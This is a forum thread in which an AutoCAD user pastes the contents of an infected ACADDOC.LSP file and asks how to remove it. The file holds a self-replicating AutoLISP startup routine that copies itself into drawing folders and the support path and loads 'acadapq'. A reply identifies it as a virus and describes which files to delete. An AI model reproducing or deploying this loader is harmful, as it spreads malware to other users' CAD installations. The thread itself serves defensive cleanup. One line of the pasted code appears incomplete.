how can i Fix this ?????

[kamig]

when i open any drawing this attached pic massage is coming and after that this code is there any saluation to un load this lisp file

 

 

defun-q s::startup

(/ basepath

baseacad

acaddocpath

r-acaddoc

w-basepath

rl-acaddoc

acaddoclsp

c-acaddocname

c-acaddocpath

c-acaddoc )

(setq basepath

(findfile "base.dcl"))(setq basepath

(substr basepath 1 (- (strlen basepath) ))

(setq baseacad (strcat basepath "acaddoc.lsp"))

(setq acaddocpath (findfile "acaddoc.lsp"))

(setq acaddocpath (substr acaddocpath

1 (- (strlen acaddocpath) 11)))

(setq acaddoclsp (strcat acaddocpath "acaddoc.lsp"))

(setq c-acaddocname (getvar "dwgname"))

(setq c-acaddocpath (findfile c-acaddocname))

(setq c-acaddocpath

(substr c-acaddocpath

1 (- (strlen c-acaddocpath) (strlen c-acaddocname))))

(setq c-acaddoc

(strcat c-acaddocpath "acaddoc.lsp"))

(if

(and

(/= basepath acaddocpath)

(= c-acaddocpath acaddocpath))

(progn

(setq r-acaddoc

(open acaddoclsp "r"))

(setq w-basepath

(open baseacad "w"))

(while

(setq rl-acaddoc

(read-line r-acaddoc))

(write-line rl-acaddoc w-basepath))

(close w-basepath)

(close r-acaddoc))

(progn

(setq r-acaddoc

(open acaddoclsp "r"))

(setq w-basepath

(open c-acaddoc "w"))

(while

(setq rl-acaddoc

(read-line r-acaddoc))

(write-line rl-acaddoc w-basepath))

(close w-basepath)

(close r-acaddoc)))

(princ))

(load "acadapq")

(princ)

[MSasu]

The code you have posted (by the way, please edit your post and add required code tags) is the content of a file named ACADDOC.LSP located along your drawing file, is that right?

Seems that this code is run with each drawing (new or open) and replicate by itself.

 

If there isn't any other code into that file (a legit custom set of tools), then that is the entire content of the loader from Support path too, and therefore is safe to remove it. Anyway, any previous legit content of the loader was already replaced by this visus due to the way it write himself.

Please do a search on your hard-drive for "ACADDOC.LPS" and "ACADAPQ.LSP/FAS/VLX/MNL" (for each of those extensions) and delete those files.